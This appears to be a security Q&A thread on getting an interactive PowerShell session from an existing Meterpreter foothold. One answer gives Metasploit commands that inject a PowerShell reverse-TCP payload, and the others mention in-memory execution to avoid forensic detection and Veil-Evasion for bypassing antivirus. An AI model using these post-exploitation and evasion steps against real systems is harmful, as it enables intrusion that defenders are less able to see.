1

I have aquestion i tried to answer myself without much success. I love all the powershell script provided for post exploitation purposes -> Powersploit; Nishang etc... My only problem is that i can't find any easy way to use them inside a meterpreter session.

Correct me if i m wrong, but there is no way to have an "interactive" powershell from a shell (meterpreter). I can't find any other solution than converting the script to Base64 encoding and call functions (encoded too) one by one through the cmd command.

What I would like to do (if it is possible in any manner) is to have an interactive shell from an already established meterpreter session (sometimes getting this is a real challenge if you consider that you have to evade IDS, AV, sandbox, etc).

Is there any solution for that?

Improve this question

3 Answers 3

Reset to default
4

Use the Metepreter PowerShell Extension. In this case, your PowerShell will run in-memory without shelling out. If you shell out, then cmdscan or consoles in Volatility or Rekall (or any similar technique, which every EDR and DFIR tool utilizes) will flag the process space and deliver obvious results of compromise.

Improve this answer
2
  • thanks its very good, i think this is the solution too, but after updating kali and metasploit i dont have powershell extension in my extensions :(
    – r4ym0nd PenTester
    Commented Jun 18, 2016 at 4:46
  • 1
    my msfconsole says version 4.12.7-dev-7cdadca and the lib/rex/post/meterpreter/extensions/powershell/powershell.rb subdirectory and file is available under my metasploit-framework root
    – atdre
    Commented Jun 18, 2016 at 6:51
3

If you have a meterpreter session already, put it into the background with background.

Then do:

use exploit/windows/local/payload_inject
set payload windows/powershell_reverse_tcp
set session <id of session>
set <other options you may need>
run

Then you will have a Powershell session alongside the meterpreter. It's still not perfect (no tab completion) but it gives you output from commands.

Improve this answer
0

you can use the powershell once you get meterpreter shell. Just you have to interact to meterpreter and then type shell command and then powershell >

Here now you have powershell command do what ever you want.

For evanding the AV for easy method you can use Veil-Evasion tool https://github.com/Veil-Framework/Veil-Evasion

Improve this answer
2
  • 1. when you type powershell in metrerpreter shell, you dont give an interactive powershell, i tested it, dosent work
    – r4ym0nd PenTester
    Commented Jun 14, 2016 at 10:18
  • 1
    2. i know veil and i get my meterpreter from it, but now i want to run powershell commands interactively without getting cought by anti virus.
    – r4ym0nd PenTester
    Commented Jun 14, 2016 at 10:20

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .